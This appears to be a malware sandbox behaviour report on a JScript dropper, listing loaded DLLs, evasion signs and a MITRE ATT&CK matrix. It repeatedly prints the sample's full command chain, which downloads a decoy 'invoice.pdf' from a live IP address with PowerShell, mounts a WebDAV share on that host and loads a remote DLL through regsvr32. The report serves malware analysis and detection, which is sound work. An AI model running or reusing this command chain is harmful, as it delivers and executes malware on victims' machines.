Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9685.js.csv");ITextStream.WriteLine(" entry:7771 f:kisxwcxa");ITextStream.WriteLine(" exec:2 f:kisxwcxa");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5202			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4676			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4956	Thread sleep count: 5202 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5392	Thread sleep count: 4676 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1856	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5860	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4308	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2111444174.0000029F29788000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111444174.0000029F297E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3346593477.0000022D8462B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3348116972.0000022D89C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2111444174.0000029F297E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
